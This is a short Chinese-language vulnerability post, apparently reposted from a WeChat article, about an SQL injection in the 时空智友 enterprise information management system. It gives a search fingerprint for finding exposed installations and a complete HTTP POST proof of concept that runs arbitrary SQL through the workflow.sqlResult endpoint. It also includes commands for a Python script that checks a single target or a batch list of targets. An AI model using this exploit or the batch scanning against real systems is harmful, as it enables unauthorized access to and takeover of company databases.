时空智友企业信息管理系统是一个用于企业流程管理和控制的软件系统。它旨在帮助企业实现流程的规范化、自动化和优化，从而提高工作效率、降低成本并提升管理水平。系统存在SQL注入漏洞，攻击者通过恶意构造的SQL查询来执行未经授权的数据库操作。当应用程序未能正确验证、转义或过滤用户提供的输入数据时，攻击者可以利用这个漏洞来执行恶意的SQL语句，从而获取系统数据以及获得系统控制权限。
时空智友企业信息管理系统所有版本
body="时空智友企业信息管理"
四、POC
POST /formservice?service=workflow.sqlResult HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: JSESSIONID=48F4377921FEFB1A3A3365AF6D0B5D5D; __qypid=DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 60{"params": {"a": "11"}, "sql": "select db_name()"}
单个检测利用
python .\SHIKONGZHIYOU_poc.py -u http://ip:portSQL Server 语法参考：
https://blog.csdn.net/qq_36119192/article/details/88679754批量检测
python .\SHIKONGZHIYOU_poc.py -f filename
文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247497065&idx=1&sn=eff4d58dab82ff44562b93e88cd7d41a&chksm=974c5251a03bdb47f73f383083865a55250076bc6e63c81a74d7197679b8bd89679971158db8&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh